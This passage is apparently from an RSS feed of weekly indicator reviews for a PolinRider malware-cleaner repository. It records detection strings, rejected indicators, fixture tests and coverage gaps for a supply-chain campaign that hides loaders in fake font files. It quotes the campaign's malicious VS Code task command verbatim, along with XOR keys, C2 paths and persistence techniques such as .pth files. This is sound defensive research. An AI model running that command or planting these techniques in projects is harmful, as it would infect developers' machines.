<code>0xa322</code> loader is plain JavaScript written with Unicode escapes; SafeDep had
to convert them before any of its strings were legible. That means
<code>global.i="A8-</code>, <code>global.i = 'A8</code>, the wallet addresses and the XOR keys —
the better half of <code>strong.txt</code> — do not match the raw bytes of a file in that
family, whatever their case. Nothing in <code>ioc/</code> can fix this, because the
problem is not which string to match but that the file does not contain the
string. What would fix it is a normalisation pass before matching: decode
<code>\uXXXX</code> and <code>\xNN</code> escapes in a copy of the candidate file and scan that too.
This is the highest-value code change this review has identified, and it is
not a one-line one.</li>
<li><strong>The regex content tier, and the weak path tier.</strong> Fourth and fifth
consecutive week respectively. This week they would have let in
<code>_$_[0-9a-f]{4}=\(function</code> (which is one of the two expressions SafeDep
recommends), <code>node .*fa-solid-[0-9]{3}\.woff2</code> from last week, and
<code>~/.node_modules</code>, <code>/tmp/.pip</code> and <code>clr_init.vbs</code> as paths worth a look rather
than a verdict.</li>
<li><strong>A long-line check.</strong> SafeDep’s first recommended hunt is not a string at
all: <code>grep -rnE '.{1000,}'</code> over <code>.js</code>, <code>.mjs</code>, <code>.cjs</code> and <code>.ts</code>. The payload
in the oxc commit sits after 2,000 space characters on the last line of each
of 20 files, and the September fake-font builds pad with 273 and 421 tabs.
This is content-independent, survives every rotation this campaign has shown,
and <code>ci/scan-workspace.sh</code> does not do it. Cheap to add and it does not touch
<code>ioc/</code> at all.</li>
<li><strong>An author/committer mismatch check.</strong> SafeDep’s third hunt is
<code>git log --format='%h|%an|%cn|%ad|%cd' | awk -F'|' '$2 != $3'</code>, and the oxc
commit is the illustration: author an oxc maintainer dated 2026-07-16,
committer the attacker account dated 2026-09-25, ten weeks apart, message
describing a real benchmark change. <code>AGENTS.md</code> already warns that git history
cannot be trusted to decide whether a branch is clean — this is the
<em>positive</em> form of that warning, a fingerprint rather than an absence, and it
matches what the 2026-09-28 entry recorded from the activity API (814 of 853
force-pushes rewrote only the tip with the same parent and author date).</li>
<li><strong>WSL2 guest-to-host crossing.</strong> When <code>os.release()</code> contains
<code>microsoft-standard-WSL2</code> the loader starts <code>node.exe</code> as well as <code>node</code>, so
an infection contained in a Linux guest reaches the Windows host. The local
checks are split by operating system and <code>check-linux.sh</code> has no reason today
to care about Windows paths. A developer running WSL2 needs both checks, and
nothing currently says so.</li>
<li><strong>Python as a second runtime.</strong> The stage-4 script installs Python (on Windows
from <code>python.7z</code> and <code>7zr.exe</code>) and <code>pip</code> from <code>bootstrap.pypa.io</code>, then runs a
detached Python stager. The Deception.Pro capture shows the same thing from the
other side: Python 3.14 installed machine-wide, clipboard and screen-capture
dependencies pulled in. Every implant check in this repository looks for a
Node binary or a Node process. A <code>.pth</code> file — which is how the <code>pybitjs</code>
package re-executes on <em>every</em> Python interpreter start — is a persistence
mechanism with no coverage here at all, and it is quieter than anything on the
Node side.</li>
<li><strong>A cross-ecosystem manifest check.</strong> Two of this week’s names are PyPI
packages and one earlier compromise is a Packagist branch. <code>bad-packages.txt</code>
is a flat list of names with no ecosystem column, which is adequate for
<code>grep -F</code> and inadequate for the whole-name check that gaps 1 and 3 of the
standing list both need.</li>
</ol>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward for the fourth week, and
<strong>narrowed rather than closed.</strong> socket.dev returned 403 again on both the
tracker and the blog, so the authoritative 108-package list is still unreachable.
<code>thehackernews.com</code> is now reachable and was read in full: it confirms the
shape — 162 release artifacts, 108 unique packages, 19 npm, 10 Composer, 61 Go
modules, one Chrome extension — and names none of them. The one Chrome extension
is still unnamed in every reachable source. What <em>did</em> improve is adjacent rather
than identical: the OpenSSF database yielded 55 names tied to this campaign’s own
indicators, which is the first substantial package coverage this set has had.
Closing the original gap still needs socket.dev, or Socket’s data mirrored
somewhere that is not socket.dev.</p>
<p><strong><code>sass-format</code>, <code>typeorm-encrypt</code> and <code>clsx-tailwind</code></strong> — now eight names, with
this week’s five. Unchanged in substance: known-malicious, deliberately
unmatched, each a strict substring of a live legitimate package. What changed is
that the check is no longer a judgement call — <code>registry.npmjs.org</code> and
<code>pypi.org</code> are reachable, so a future reviewer can establish the hazard instead
of suspecting it. Still needs a whole-name check against a parsed manifest.</p>
<p><strong>The npm CLI persistence has no coverage.</strong> Unchanged, and no longer clearly the
highest-value open item — the <code>\u</code>-escape problem (technique 2) is arguably
ahead of it now. <code>npm/lib/cli.js</code> overwritten with a ~1 MB malicious CLI defeats
the documented cleanup sequence, and nothing here detects it. Blocked on nobody.</p>
<p><strong><code>hashes.txt</code> cannot hold a small-file hash.</strong> Carried forward from 2026-09-21,
now with fifteen published examples turned away rather than five. The file’s
header promises “any file matching one of these is the implant, whatever it has
been renamed to”, and the code delivers that only for files between 10 MB and
300 MB or sitting on an <code>implant-paths.txt</code> path.</p>
<p><strong>No blob-ID tier.</strong> Carried forward from 2026-09-21, unchanged.</p>
<p><strong>The font-vector indicators are one variant behind — narrowed, not closed.</strong>
Carried forward from 2026-09-28. <code>(^|/)fa-solid-[0-9]{3}\.llf$</code> is added this
week and is the first entry that matches a variant currently in circulation, so
the vector is no longer covered only by a 400-specific command string. What is
still open is the larger half: the three <code>.woff2</code> weights, which are live and
which cannot go in an <code>INFECTED</code>-tier filename list because <code>fa-solid-900.woff2</code>
is a real Font Awesome name. Those need the weak path tier, or the regex content
tier for the task command (<code>node .*fa-solid-[0-9]{3}\.woff2</code>). Until then a
<code>.woff2</code> variant is caught by the font-magic-bytes check alone, and only in
<code>ci/scan-workspace.sh</code>.</p>
<p><strong>No weak tier for filenames.</strong> Carried forward from 2026-09-28, blocked three
additions again this week (<code>~/.node_modules</code>, <code>/tmp/.pip</code>, <code>clr_init.vbs</code>).</p>
<p><strong>New gap: nothing in this repository matches a <code>\u</code>-escaped payload.</strong> Stated
as technique 2 above and repeated here because it is a gap in what the set can
do, not just a change the campaign made. An entire loader family — 18 of the 35
repositories SafeDep confirmed — is written so that <code>grep -F</code> against <code>ioc/</code>
finds nothing in it.</p>
<p><strong>New gap: no Python-side coverage.</strong> Technique 7. Two PyPI package names are now
in <code>bad-packages.txt</code>, which is a start and is not detection: nothing here looks
for a <code>.pth</code> file, a <code>~/.local/bin/py</code>, or a detached <code>python -c</code> process.</p>
<h2 id="notes">Notes</h2>
<ul>
<li><strong>The sandbox can reach the package registries, and no previous entry knew it.</strong>
<code>registry.npmjs.org</code>, <code>pypi.org/pypi/&lt;name&gt;/json</code> and the full
<code>pypi.org/simple/</code> index (46 MB uncompressed) all serve content here. That
turns the substring check that has blocked eight package names into a
mechanical test, and it is how this week’s five rejections were established
rather than guessed. It also means npm dist-tags can be read directly, which is
how the two corrected version ranges were confirmed. Worth re-verifying, like
everything else in that table.</li>
<li><strong><code>safedep.io</code> and <code>blog.deception.pro</code> are reachable too.</strong> Neither appears in
the standing appendix in either direction. <code>safedep.io</code> needs <code>curl -L</code>: the
un-slashed URL returns 308 and a bare fetch gets an empty body. Its article
pages embed the indicator CSV verbatim in a <code>data-csv</code> attribute on the
download button, which is a better source than the rendered table — it is where
the XOR-key boundary was settled byte for byte, with no column alignment to
guess at.</li>
<li><strong><code>medium.com</code> returns 403.</strong> New entry for the blocked list. It cost this
review the SlowMist report.</li>
<li><strong>Two self-tests that have failed here for four weeks now pass.</strong>
<code>ci/selftest-restore.sh</code> and <code>ci/selftest-rewrite.sh</code> both pass in this
container, on this branch and in a worktree of unmodified <code>origin/main</code>. The
standing appendix lists them as failing for want of git behaviour the sandbox
does not provide; whatever that was, it is provided now. <strong><code>selftest-ui.sh</code>
still fails</strong>, identically on both, on the same single assertion — “the
wordmark is 207 columns wide”, 59 passed, 1 failed. That one is a terminal
width, not a defect.</li>
<li><strong><code>shellcheck</code> is still not installed.</strong> <code>bash -n</code> passes on every script. This
change touches <code>ioc/*.txt</code> and Markdown only, with no shell code changed, so
CI’s shellcheck gate is unaffected — but a future review making a code change
still cannot validate it here.</li>
<li>The classification inconsistency the 2026-09-21 entry raised — TRON and Aptos
endpoints in both <code>weak.txt</code> and <code>network.txt</code>, the Ethereum ones in <code>weak.txt</code>
only — is unresolved and untouched. This week adds eight addresses to
<code>network.txt</code> and nothing to the endpoint lists, so it neither improves nor
worsens.</li>
<li>The OpenSSF clone is ~2.1 GB checked out. It was deleted immediately after the
search, and the 55 records’ contents kept as a 144 KB JSON extract. A future
reviewer wanting to repeat this should expect the disk cost and should not use
<code>--filter=blob:none</code>, which makes the subsequent checkout fetch blobs one
request at a time and never finishes.</li>
<li><strong>One source contained an error worth recording.</strong> The OpenSSF record for
<code>tailwind-anim</code> (MAL-2026-11500, Amazon Inspector) prints the operator wallet
as <code>0xa322e5f3d311d3080e6f01210463e9adc2490ef1a</code> — 41 hex characters, one too
many, and not the address. The record’s own etherscan reference gives the
correct form. Nothing was lifted from the mistyped string; noted because it is
exactly the sort of thing that becomes an indicator that silently never
matches.</li>
<li>No page, repository or document read during this review attempted to give the
reviewer instructions. The Deception.Pro and OpenSourceMalware posts both carry
recommendations addressed to developers, and the OpenSSF records carry the
standard “treat the computer as fully compromised” advisory text; all of that is
ordinary editorial content directed at readers, not at an agent, and none of it
asked for anything outside this review’s scope.</li>
<li>The commits on this branch are <strong>unverified</strong>, for the reason the standing
appendix documents: the container’s signing key is registered to Claude, and
authoring as the maintainer — which is correct — yields <code>unknown_key</code>.
Squash-merge resolves it; GitHub signs the squash commit itself.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Weekly indicator review, 28 September 2026: 11 indicators added</title>
      <link>https://polinriderscanner.com/indicator-reviews/2026-09-28/</link>
      <guid isPermaLink="true">https://polinriderscanner.com/indicator-reviews/2026-09-28/</guid>
      <pubDate>Mon, 28 Sep 2026 00:00:00 GMT</pubDate>
      <category>Indicator review</category>
      <description>The campaign is A/B testing three fake-font variants at once. Added the single-quoted A8 marker, two XOR keys, the .gitignore machine fingerprint and allowAutomaticTasks. Reversed last week's rejection of the C2 paths: this build leaves them in plain text. The font indicators are a variant behind and cannot catch up as fixed strings.</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Outcome</strong></td>
<td>11 indicators added</td>
</tr>
<tr>
<td><strong>Pull request</strong></td>
<td><a href="https://github.com/meSingh/polinrider-cleaner/pull/34">#34</a></td>
</tr>
<tr>
<td><strong>Indicator set</strong></td>
<td><code>ioc/strong.txt</code>, <code>ioc/weak.txt</code>, <code>ioc/filenames.txt</code></td>
</tr>
</tbody>
</table>
<h2 id="sources">Sources</h2>
<table>
<thead>
<tr>
<th>Source</th>
<th>Reached</th>
<th>What it said</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenSourceMalware dossier</td>
<td>yes, cloned and read</td>
<td>Unchanged for the fourth week running. Latest commit still <code>0a8c9ea</code>, 2026-07-09. README still at its 2026-04-11 revision. None of this week’s strings appear anywhere in it</td>
</tr>
<tr>
<td>opensourcemalware.com blog</td>
<td>yes</td>
<td><strong>Two new posts inside the window, and one of them is the week.</strong> <code>polinrider-is-a-b-testing-its-way-past-your-detections</code>, 2026-09-26, is the first substantial new PolinRider analysis since August, and everything added below comes from it</td>
</tr>
<tr>
<td>Web search, last 7 days</td>
<td>yes</td>
<td>Searched the campaign name, <code>MicrosoftSystem64</code> and <code>ForceMemo</code>. No new primary analysis beyond the blog post. The only new secondary coverage is of CloudSEK’s GHAPPIER report, which the 2026-09-21 review already worked through</td>
</tr>
<tr>
<td>socket.dev tracker</td>
<td><strong>no</strong> — 403, unchanged</td>
<td>Third week in a row. Policy of the site, not the sandbox</td>
</tr>
</tbody>
</table>
<p>Also re-checked: the blog’s post paths serve full server-rendered content, as
2026-09-14 recorded. The bare domain still returns the empty single-page-app
shell.</p>
<p><strong>This week’s read was done by enumerating the blog index rather than following
the posts a previous entry named</strong>, which is the mechanical fix the 2026-09-21
entry asked for after finding that the 2026-09-14 sweep had missed an August
post. The index lists 84 posts; the two inside the eight-day window are
<code>polinrider-is-a-b-testing-its-way-past-your-detections</code> (2026-09-26) and
<code>the-opensourcemalwareshow-episode22</code> (2026-09-25). Both were read in full.
<code>introducing-weaselbiscuit</code> and <code>the-opensourcemalwareshow-episode21</code>, both
2026-09-17, fall just outside the window but inside the gap since the last
entry; both were read and both were already covered by the 2026-09-21 entry.</p>
<h2 id="upstream-state">Upstream state</h2>
<p><strong>The last two reviews are still unmerged, and this one is stacked on them.</strong>
<code>main</code> is still at the 2026-09-14 review. The 2026-09-21 branch
(<code>ioc/2026-09-21</code>, <a href="https://github.com/meSingh/polinrider-cleaner/pull/33">#33</a>)
exists on the remote and has not been merged, so this week’s branch is based on
it rather than on <code>main</code>. Five of the indicators this review would otherwise
have proposed — the five public Ethereum RPC endpoints — are already in that
branch’s <code>weak.txt</code>, and are not re-added here. A reviewer merging these out of
order will get conflicts in <code>README.md</code>, <code>docs/indicator-reviews/README.md</code> and
<code>ioc/weak.txt</code>; merging #33 first reduces this pull request to this week’s
changes alone.</p>
<p>The dossier has not moved in eleven weeks. The blog has, and it has moved
directly against this repository’s detection method.</p>
<p>The 2026-09-26 post is a case study of one infected GitHub organization
(<code>Binary-Mindz</code>, three backend repositories, infected since January 2026) read
off GitHub’s server-side activity log, which the malware cannot backdate. Its
central claim is that the campaign is not evolving in a line but running
variants in parallel: the fake font now exists as <code>fa-solid-400.woff2</code>,
<code>fa-solid-500.woff2</code> <strong>and</strong> <code>fa-solid-900.woff2</code>, and on 2026-09-25 the 900
variant was pushed to all three repositories and then rolled back to an updated
500 in two of them within 32 minutes. The post’s own framing is an A/B test, and
it makes the point that “a lot of the detection advice circulating for
PolinRider assumes the last sample tells you what the next one will look like”.</p>
<p>Three things in it bear directly on the current indicator set:</p>
<ul>
<li><strong><code>fa-solid-900.woff2</code> is a genuine Font Awesome filename</strong>, and during the
400 and 500 periods a real 79,444-byte <code>fa-solid-900.woff2</code> sat in the same
folder as the fake. The 900 variant takes that name.</li>
<li><strong>The payload no longer lives under <code>public/fonts/</code>.</strong> In the 2026-09-25 push
it landed at a different, project-plausible path in each repository, with
<code>public/fonts/</code> nested inside it —
<code>prisma/generated/prisma/internal/public/fonts/…</code> in one, a NestJS module’s
<code>dto/…</code> folder in the other two.</li>
<li><strong>The whitespace padding is not reliable either.</strong> The 500 builds pad with 273
and 421 tab characters; the 900 payload starts directly with code.</li>
</ul>
<p>The one indicator in <code>ioc/</code> that the post directly dates is
<code>node ./public/fonts/fa-solid-400.woff2</code>, added on 2026-09-14. It is still
correct and still fires on 400 samples, but it is now demonstrably
variant-specific and path-specific, and the post publishes a 900-variant task
command that shares none of it. See the open gaps.</p>
<h2 id="added">Added</h2>
<p>Eleven indicators, all from one source read in full.</p>
<table>
<thead>
<tr>
<th>Indicator</th>
<th>File</th>
<th>Why there</th>
<th>Source</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>global.i = 'A8</code></td>
<td><code>strong.txt</code></td>
<td>The campaign-marker assignment in the <em>other</em> quote style. <code>strong.txt</code> gained <code>global.i="A8-</code> last week from an August sample; the September fake-font build opens with <code>global.i = 'A8';</code>, single-quoted and spaced, which that entry does not match. Nothing legitimate assigns <code>A8</code> to <code>global.i</code></td>
<td><a href="https://opensourcemalware.com/blog/polinrider-is-a-b-testing-its-way-past-your-detections">OSM, PolinRider is A/B Testing its Way Past Your Detections</a></td>
</tr>
<tr>
<td><code>q4FZkxX{!h</code></td>
<td><code>strong.txt</code></td>
<td>XOR key, readable in the 500-variant payload’s string table without deobfuscating it</td>
<td>as above</td>
</tr>
<tr>
<td><code>y-p_&gt;d$0B&amp;@^1aQk</code></td>
<td><code>strong.txt</code></td>
<td>The second XOR key, carried as its whitespace-free tail. See the note below</td>
<td>as above</td>
</tr>
<tr>
<td><code>temp_auto_push.bat</code></td>
<td><code>weak.txt</code></td>
<td>The <code>.gitignore</code> fingerprint of an infected contributor’s machine. Already a <code>filenames.txt</code> path indicator; this is the separate case of the name appearing inside a committed file</td>
<td>as above</td>
</tr>
<tr>
<td><code>temp_interactive_push.bat</code></td>
<td><code>weak.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>branch_structure.json</code></td>
<td><code>weak.txt</code></td>
<td>as above, and the weaker of the three — a name a legitimate tool could also write</td>
<td>as above</td>
</tr>
<tr>
<td><code>allowAutomaticTasks</code></td>
<td><code>weak.txt</code></td>
<td>The VS Code setting that lets a <code>folderOpen</code> task run without the usual prompt. The post’s own recommended hunt is <code>folderOpen|allowAutomaticTasks</code>, and <code>folderOpen</code> was already here</td>
<td>as above</td>
</tr>
<tr>
<td><code>X-Payload-B64</code></td>
<td><code>weak.txt</code></td>
<td>The response header the 500-variant loader reads its next stage out of, in plain text in the payload</td>
<td>as above</td>
</tr>
<tr>
<td><code>/0x/cls</code></td>
<td><code>weak.txt</code></td>
<td>C2 request path, in plain text in the 500-variant payload. This reverses a rejection made last week; see below</td>
<td>as above</td>
</tr>
<tr>
<td><code>/0x/ls</code></td>
<td><code>weak.txt</code></td>
<td>as above</td>
<td>as above</td>
</tr>
<tr>
<td><code>(^|/)temp_interactive_push\.bat$</code></td>
<td><code>filenames.txt</code></td>
<td>The force-push tool’s second working file, beside <code>temp_auto_push.bat</code>, which has been there since the first release</td>
<td>as above</td>
</tr>
</tbody>
</table>
<h3 id="the-second-xor-key-is-carried-as-a-substring-on-purpose">The second XOR key is carried as a substring, on purpose</h3>
<p>The source prints the pair inside a pre-formatted table:</p>
<pre class="astro-code astro-code-themes github-light-default github-dark-default" style="--shiki-light:#1f2328;--shiki-dark:#e6edf3;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0d1117; overflow-x: auto;" tabindex="0" data-language="plaintext"><code><span class="line"><span>XOR keys           q4FZkxX{!h,Sr3=@   y-p_&gt;d$0B&amp;@^1aQk</span></span></code></pre>
<p>The first key is unambiguous. The second contains a run of three spaces, and
because the surrounding table is column-aligned with spaces there is no way to
establish from the page whether those three characters are part of the key or
part of the layout — and every other row in that table separates its values with
a comma <em>and</em> a space, where this one does not. Guessing would produce a fixed
string that silently never matches, which is the failure mode the 2026-09-21
entry rejected the <code>A9-0204-3</code> marker over. So the entry is
<code>y-p_&gt;d$0B&amp;@^1aQk</code>: the longest tail of the published key that contains no
whitespace, sixteen high-entropy characters, which matches the key however much
space precedes it.</p>
<h3 id="this-reverses-last-weeks-rejection-of-the-c2-paths">This reverses last week’s rejection of the C2 paths</h3>
<p>The 2026-09-21 entry turned away <code>/0x/cls</code> and <code>/0x/ls</code> with the reasoning that
they “are request paths built at runtime against an address the loader resolves
from the chain; they do not appear in a scanned file, and <code>weak.txt</code> matches
file contents only.”</p>
<p>This week’s source says the opposite about the 500 variant, in as many words:
its indicators — “the Ethereum wallet, the C2 paths, the response header” — “can
be read straight out of the file”, because that build uses a common <code>_0x</code>
string-array obfuscator that leaves its string table legible. I confirmed the
mechanism is plausible by reading the post’s own listing of that string table,
which prints the wallet (already in <code>strong.txt</code>), the paths and the header
together as strings recovered from the file rather than from traffic.</p>
<p>Both entries stand. The 2026-09-21 reasoning was correct for the sample it had
and is correct for the 900 variant, which encodes all of these; it was wrong as
a general claim. They are carried at review tier, not <code>INFECTED</code>, and the port
prefix the source prints (<code>:443/0x/cls</code>) is dropped so the entry matches whether
or not the literal in the file carries it.</p>
<h3 id="verified-against-fixtures">Verified against fixtures</h3>
<p>Built outside the repository working tree and scanned with
<code>ci/scan-workspace.sh</code>:</p>
<ul>
<li>a <code>fa-solid-500.woff2</code> holding 421 tab characters followed by
<code>global.i = 'A8';</code>, both XOR keys, the header, the paths and the already-carried
wallet → <strong><code>INFECTED</code>, exit 2</strong> (twice: once on the strings, once on the
existing font-masquerade check, which reported <code>font file is not a font</code>)</li>
<li>a file named <code>temp_interactive_push.bat</code> and nothing else → <strong><code>INFECTED</code>,
exit 2</strong>, on the filename alone</li>
<li>a tree carrying only the <code>.gitignore</code> block, a <code>settings.json</code> with
<code>"task.allowAutomaticTasks": true</code>, and a <code>.js</code> file naming the header and the
two paths → <strong><code>review</code> only, exit 0</strong>, and exit 1 under <code>--fail-on review</code></li>
<li>each of the ten new content indicators in a file of its own → all ten fire,
three as <code>INFECTED</code> and seven as <code>review</code>, which the deduplicating output of a
combined scan would otherwise have hidden</li>
<li>near-miss negatives → <strong>zero findings, exit 0</strong>: <code>global.item = 'A8-9000'</code>
and a bare <code>const rev='A8'</code>; a <code>.gitignore</code> listing only <code>config.bat</code>; a
<code>settings.json</code> carrying only <code>terminal.integrated.hideOnStartup</code> and
<code>debug.openDebug</code>; the request header <code>Sec-V</code>; <code>mainnet.infura.io</code>; the path
<code>/0x0/list</code>; and a <code>postcss.config.mjs</code> naming the real <code>sass-formatter</code></li>
</ul>
<h2 id="considered-and-not-added">Considered and not added</h2>
<p><strong>The three new fake-font paths, and the 900-variant task command.</strong> The post
names five payload locations across three repositories:
<code>public/fonts/fa-solid-500.woff2</code>, and <code>fa-solid-900.woff2</code> nested under
<code>prisma/generated/prisma/internal/</code>, <code>src/main/admin/admin-ad/dto/</code> and
<code>src/module/content-master/category/dto/</code>. None can go in <code>filenames.txt</code>, which
is <code>INFECTED</code> tier: <code>fa-solid-900.woff2</code> is a real Font Awesome filename, the
three deep paths are specific to these victims, and the post’s whole argument is
that the next sample will use a different one. The 2026-09-14 entry rejected
<code>fa-solid-400.woff2</code> on the same grounds and asked for a weak filename tier;
this week is the second week that would have used one.</p>
<p>The 900 task command <em>is</em> published verbatim — <code>command -v node &gt;/dev/null 2&gt;&amp;1 &amp;&amp; node ./prisma/generated/prisma/internal/public/fonts/fa-solid-900.woff2</code> —
and carrying it would match exactly one victim repository. The generalisable
form is a regex (<code>node .*fa-solid-[0-9]{3}\.woff2</code>), which no file in <code>ioc/</code> can
express. Left alone; see the gaps.</p>
<p><strong><code>config.bat</code>.</strong> Fourth appearance, third rejection, and the reasoning has not
changed: it is a name anything at all can have, and <code>.bat</code> files named <code>config</code>
are ordinary on Windows. Not carryable even at review tier, where it would fire
on any Windows project. The other three names in the same <code>.gitignore</code> block are
specific enough and were carried.</p>
<p><strong>The build markers <code>A8</code>, <code>A8-n*</code>, <code>9-10094</code>, <code>9-2078</code>, <code>8-1259</code>, <code>8-1586</code>,
<code>8-1144</code>.</strong> Same answer as the <code>A6-</code> family in 2026-09-14 and the <code>A9-0204-3</code>
marker in 2026-09-21. As bare fixed strings these are four-to-seven-character
alphanumeric tokens that would match part numbers, ticket IDs, version
fragments and hex dumps. The two that can be carried safely are carried with
their assignment context: <code>global.i = 'A8</code> above, and the bare <code>global['!']</code>
already in <code>strong.txt</code>, which matches the <code>9-10094</code> marker’s carrier without
matching the number.</p>
<p><strong><code>global.i</code> on its own, and <code>Sec-V</code>.</strong> <code>global.i</code> as a fixed string matches
<code>global.index</code>, <code>global.init</code>, <code>global.instance</code> and anything else minified code
assigns. <code>Sec-V</code> is five characters. Both would generate noise for no gain; the
information they carry is already covered by the entries above.</p>
<p><strong>The three published SHA-256 hashes.</strong> <code>1a21bad1…b36f9705</code> for the
<code>fa-solid-900.woff2</code> payload, and two for the poisoned <code>eslint.config.mjs</code> and
<code>.vscode/tasks.json</code> at commit <code>1b16bd46b7</code>. This is the third consecutive week
that real, published hashes have been turned away for the reason the 2026-09-21
entry recorded as an open gap: both hash sweeps in <code>lib/local-common.sh</code> are
bounded to files <strong>larger than 10 MB and smaller than 300 MB</strong>, or keyed to
<code>implant-paths.txt</code>, and <code>ci/scan-workspace.sh</code> does not read <code>hashes.txt</code> at
all. A 37,567-byte font payload is outside all of it. Adding these would make
the set look like it covers the 900 variant when nothing would ever compare
them. The gap now has five concrete examples behind it.</p>
<p><strong>The three VS Code settings that switch off the visible signs.</strong>
<code>"terminal.integrated.hideOnStartup": "always"</code> and
<code>"debug.openDebug": "neverOpen"</code> are ordinary settings with ordinary uses, and
the post does not recommend hunting them; only <code>allowAutomaticTasks</code>, which was
carried. The <em>combination</em> of all three in a <code>.vscode/settings.json</code> is the
signal, and a conjunction is a check, not a fixed string.</p>
<p><strong><code>AUTH_API_KEY</code>, and the <code>prisma.config.ts</code> loader shape.</strong> One historical
variant read a base64 URL out of <code>process.env.AUTH_API_KEY</code>, imported
<code>node-fetch</code>, and <code>eval</code>’d the response. <code>AUTH_API_KEY</code> is a plausible
legitimate environment variable name and cannot be carried at any tier. The
loader’s shape — <code>eval</code> of a fetched response whose URL comes from
<code>atob(process.env.…)</code> — is a regex check. The 900 rewrites deleted this path and
removed <code>node-fetch</code> and <code>dotenv</code> from <code>package.json</code> again, so it is history
rather than current.</p>
<p><strong>Everything about the victims.</strong> The <code>Binary-Mindz</code> organization and its three
repositories, <code>GulamRosul/Curved-navigation-bar</code>, and the nineteen GitHub
accounts the post names (<code>alamin-sujon</code>, <code>ramjan-devs</code>, <code>haniful360</code>,
<code>Rafi-Sharkar</code> and the rest). The post is explicit that it believes every
developer named is a victim, and this repository’s rule is the same: a victim’s
name is not an indicator of anything in someone else’s project. The commit SHAs,
the 853 force-pushes and the GitHub timestamps are evidence of one incident, not
detection content.</p>
<p><strong>The two 2026-09-17 posts.</strong> <code>introducing-weaselbiscuit</code> and
<code>the-opensourcemalwareshow-episode21</code> were both read. The 2026-09-21 entry
already worked through both and rejected the WeaselBiscuit cluster on the
grounds that OpenSourceMalware does not attribute it to PolinRider and the only
stated connection is a shared numeric-marker convention. Re-read this week and
the conclusion is unchanged; recorded so it is not re-derived a third time.
Episode 22 (2026-09-25) mentions PolinRider several times but publishes no
indicator.</p>
<p><strong>The GHAPPIER set, again.</strong> No new primary material this week — the secondary
coverage that turned up in search (Infosecurity, CyberSecurityNews, gbhackers,
byteiota, a Thai NCSA digest) all restates CloudSEK’s report, which the
2026-09-21 entry read from the PDF and worked through in full. Its
scope decision stands and is the maintainer’s to revisit:
<code>@dforge-core/dforge-mcp@0.2.21</code> and the GHAPPIER loader indicators stay out
because GHAPPIER is a separate loader family that happened to share a victim.</p>
<h2 id="new-techniques--maintainer-decisions-not-implemented">New techniques — maintainer decisions, not implemented</h2>
<p>Nothing here is implemented, and the first two are the same item from two
directions: the campaign is now deliberately targeting the string- and
name-based matching that <code>ioc/</code> is built on.</p>
<ol>
<li><strong>Parallel variants, not successive ones.</strong> Three fake-font filenames, two
obfuscators, two padding styles and at least four execution paths were live
in one organization on one day, and a <em>newer</em> variant was rolled back to an
older one within half an hour. Every check in this repository that keys off
“the current sample” is keying off one arm of a running experiment. The
practical consequence is that the font-masquerade check in
<code>ci/scan-workspace.sh</code> — which reads the first four bytes and asks whether a
<code>.woff2</code> is actually a WOFF2 — is now the most durable detection this
repository has for this vector, and it is the one the post independently
recommends (<code>find . -name '*.woff2' -exec file {} +</code>). It deserves to be
extended to the local checks, which do not do it.</li>
<li><strong>A regex tier for paths and commands.</strong> Two weeks running, the blocking
problem has been the same: the useful form of an indicator is
<code>node .*fa-solid-[0-9]{3}\.woff2</code>, or a filename that should be reviewed
rather than declared infected, and <code>ioc/</code> has neither a regex content tier
nor a weak path tier. <code>filenames.txt</code> is already extended regex, so the
machinery half-exists. This is the single change that would have let three of
this week’s rejections be additions.</li>
<li><strong><code>.gitignore</code> as a machine-infection signal, separate from repository
infection.</strong> The four-line block is the clearest evidence yet published that
a <em>contributor’s machine</em> is infected even when the repository holds no
payload, and it is why cleanups keep being reverted. Three of the four names
are now carried at review tier, which is the most <code>ioc/</code> can say. What the
scanner cannot currently do is say the useful thing: “this repository is
clean, and at least one person who can push to it is not.” That is a
different verdict class, and inventing one is not a reviewer’s call.</li>
<li><strong>Force-push forensics against the GitHub activity API.</strong> The post recovers
the entire eight-month history from
<code>/repos/OWNER/REPO/activity?activity_type=force_push</code>, and reports that 814
of 853 force-pushes rewrote only the tip commit with the same parent and the
same author date, 629 of them preserving the committer timestamp too.
<code>lib/gh-scan.sh</code> already reads the events API and <code>AGENTS.md</code> already warns
that the events window is roughly 300 events; the <em>activity</em> endpoint appears
to go back to repository creation, which would be a materially better
evidence source than the one the tools use. Worth a maintainer’s look
independently of any indicator.</li>
<li><strong>Cleanup reversal under the cleanup’s own commit message.</strong> Three cleanups
in this organization were undone by force-pushes from other contributors’
accounts within five to thirteen hours, keeping the original titles, so a
commit reading “security: remove VS Code supply-chain malware” currently
contains the malware. This is a direct vindication of the non-negotiable
ordering in <code>AGENTS.md</code> (machines, then credentials, then branches) and is
worth citing in the README where that order is explained, which is
documentation rather than code.</li>
</ol>
<h2 id="open-gaps">Open gaps</h2>
<p><strong>The July 2026 ecosystem expansion.</strong> Carried forward unchanged for the third
week. The one Chrome extension is still unnamed in any reachable source and
three of the nineteen npm names are still unaccounted for. socket.dev returned
403 again, on both the tracker and the blog. Searched specifically; found only
the same secondary coverage quoting Socket’s counts.</p>
<p><strong><code>sass-format</code>, <code>typeorm-encrypt</code> and <code>clsx-tailwind</code>.</strong> Unchanged.
Known-malicious, deliberately unmatched, because each is a strict substring of a
live legitimate package and <code>bad-packages.txt</code> is matched with <code>grep -F</code>. Still
needs a whole-name check against a parsed manifest.</p>
<p><strong>The npm CLI persistence has no coverage.</strong> Unchanged and still the
highest-value open item: <code>npm/lib/cli.js</code> overwritten with a ~1 MB malicious CLI
defeats the documented cleanup sequence, and nothing here detects it. Blocked on
nobody.</p>
<p><strong><code>hashes.txt</code> cannot hold a small-file hash.</strong> Carried forward from
2026-09-21 and now with five published examples turned away rather than two. The
file’s header promises “any file matching one of these is the implant, whatever
it has been renamed to”, and the code delivers that only for files between 10 MB
and 300 MB or sitting on an <code>implant-paths.txt</code> path. Every hash this campaign’s
analysts publish for a payload rather than a second-stage binary is unusable.</p>
<p><strong>No blob-ID tier.</strong> Carried forward from 2026-09-21, unchanged.</p>
<p><strong>New gap: the font-vector indicators in <code>ioc/</code> are one variant behind, and
